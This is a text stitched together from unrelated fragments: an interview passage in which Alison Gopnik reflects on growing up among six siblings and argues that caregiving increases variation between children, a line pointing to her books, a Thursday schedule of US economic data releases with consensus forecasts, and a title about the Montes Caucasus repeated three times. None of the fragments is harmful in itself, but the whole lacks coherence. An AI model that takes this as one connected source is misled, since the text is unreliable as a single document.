GOPNIK: Actually, I think that example is maybe partly why I don’t believe in that. In fact, what I do believe is that the effect of caregiving is to increase variability, is to increase variation. Our family, our care — there were six of us in 11 years. My parents were graduate students, and even before they were graduate students, they were that great generation of immigrant kids.

We had this combination of a great deal of warmth, a great deal of love, an enormous amount of stuff that was around us — books and ideas. We got taken to the Guggenheim, when Adam was three and I was four, for the opening of the Guggenheim. We both remember this vividly. But we were also completely free. We were just in regular public schools. As was true in those days, in general, we came home after school, and we basically did whatever it was that we wanted. I was involved. The kids were taking care of each other a lot of the time.

The result is that you get a lot of variation. It’s an interesting example in our family where we have six kids who presumably all have somewhat similar genetics, all in that 11 years grow up in the same context, and they come out completely differently. They come out with really different strengths, really different weaknesses, things that they’re good at, things that they’re not good at. Even if you think about what Blake and Adam and I are like as thinkers, we’re all foxes instead of hedgehogs. We’re all people who have done lots of different things and thought about lots of different things.

So, my view is that what nurture will do is let you have variability. That’s the thing that, in a sense, is heritable. That’s contradictory, the idea that what’s heritable is the standard deviation instead of the mean, but that’s my view about that. I think my childhood did have the effect of making me suspicious of those simple nature-nurture oppositions.

Here are the books of Alison Gopnik.

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Thursday: CPI, Unemployment Claims, Philly Fed Mfg

Mortgage Rates Note: Mortgage rates are from MortgageNewsDaily.com and are for top tier scenarios.

Thursday:
• At 8:30 AM: The initial weekly unemployment claims report will be released.  There were 236,000 initial claims last week.

8:30 AM ET, The Consumer Price Index for November from the BLS.  The consensus is for a 0.3% increase in CPI, and a 0.2% increase in core CPI.  The consensus is for CPI to be up 3.1% year-over-year and core CPI to be up 3.1% YoY.

8:30 AM: the Philly Fed manufacturing survey for December. The consensus is for a reading of 2.2, up from -1.7.

11:00 AM: the Kansas City Fed manufacturing survey for December.

Long Shadows of the Montes Caucasus

Long Shadows of the Montes Caucasus Long Shadows of the Montes Caucasus